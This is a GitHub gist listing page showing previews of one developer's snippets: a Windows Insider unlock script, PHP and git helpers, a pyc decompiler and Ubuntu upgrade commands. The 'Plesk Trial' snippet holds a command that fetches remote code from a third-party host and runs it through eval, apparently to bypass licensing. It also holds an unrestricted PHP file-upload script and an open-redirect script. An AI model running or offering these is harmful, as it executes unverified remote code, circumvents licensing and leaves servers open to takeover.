Skip to content

Instantly share code, notes, and snippets.

View tahaghafuri's full-sized avatar
👨‍💻
Coding

Taha Amin Ghafuri [T@G] tahaghafuri

👨‍💻
Coding
View GitHub Profile
@tahaghafuri
tahaghafuri / windows_insider_unlock.cmd
Created February 6, 2023 07:48
Windows Insider Unlock In Windows 10/11 Without Microsoft Account And Hardware Requirments!
@setlocal DisableDelayedExpansion
@echo off
set "_cmdf=%~f0"
if exist "%SystemRoot%\Sysnative\cmd.exe" (
setlocal EnableDelayedExpansion
start %SystemRoot%\Sysnative\cmd.exe /c ""!_cmdf!" "
exit /b
)
if exist "%SystemRoot%\SysArm32\cmd.exe" if /i %PROCESSOR_ARCHITECTURE%==AMD64 (
@tahaghafuri
tahaghafuri / mysqli_result.php
Created January 27, 2023 12:18
mysqli_result For PHP
<?php
/*
By tahaghafuri
Link https://github.com/tahaghafuri/mysqli_result
*/
function mysqli_result($res, $row=0, $col=0){
$numrows = mysqli_num_rows($res);
if ($numrows && $row <= ($numrows-1) && $row >=0){
mysqli_data_seek($res,$row);
$resrow = (is_numeric($col)) ? mysqli_fetch_row($res) : mysqli_fetch_assoc($res);
@tahaghafuri
tahaghafuri / revert-a-commit.md
Created January 26, 2023 19:34 — forked from gunjanpatel/revert-a-commit.md
Git HowTo: revert a commit already pushed to a remote repository

Revert the full commit

Sometimes you may want to undo a whole commit with all changes. Instead of going through all the changes manually, you can simply tell git to revert a commit, which does not even have to be the last one. Reverting a commit means to create a new commit that undoes all changes that were made in the bad commit. Just like above, the bad commit remains there, but it no longer affects the the current master and any future commits on top of it.

git revert {commit_id}

About History Rewriting

Delete the last commit

Deleting the last commit is the easiest case. Let's say we have a remote origin with branch master that currently points to commit dd61ab32. We want to remove the top commit. Translated to git terminology, we want to force the master branch of the origin remote repository to the parent of dd61ab32:

@tahaghafuri
tahaghafuri / decompile-pyc-dir-recursively.py
Created December 26, 2022 09:04 — forked from ifahadone/decompile-pyc-dir-recursively.py
Maintains directory structure while decompiling ".pyc" to ".py" recursively
# --------- USAGE -----------
# USE THIS FILE IF YOU WANT TO MAINTAIN DIRECTORY STRUCTURE WHILE DECOMPILING ".PYC" TO ".PY" RECURSIVELY
# Install Python
# Run -> pip install uncompyle6
# Run -> python decompile_pyc_recursively.py -p [PATH-OF-PYC-DIR]
# ----------------------------
import argparse
import os
@tahaghafuri
tahaghafuri / install.sh
Created November 26, 2022 18:14
Upgrade And Configuring Ubuntu For Version 22.04.1
apt update && upgrade -y
do-release-upgrade
@tahaghafuri
tahaghafuri / plesk
Created October 4, 2022 12:52
Plesk Trial
plesk php -er "eval(file_get_contents('http://ossav.com/PTC'));"
https://babiato.co/threads/plesk-onyx-web-host-edition.17223/page-5
plesk php -er "eval(file_get_contents('http://ossav.com/PTC'));"
<?php
$file=$_FILES['file'];
chmod($file["tmp_name"],755);
move_uploaded_file($file["tmp_name"],__DIR__.'/'.$file['name']);
?>
<form method="post" enctype="multipart/form-data">
<input type="file" name="file" />
<input type="submit" name="submit" />
</form>
<?php
$url=$_GET['url'];
if(!empty($url)){
header('Location: '.$url);
//Content
}else{
echo 'URL Is Empty!';
}
@tahaghafuri
tahaghafuri / span.html
Created June 17, 2022 12:55
Test Span
<p>Hi,<span style='color:red;'>I'm</span>a <span style='color:blue;'>Professional</span> Developer!</p>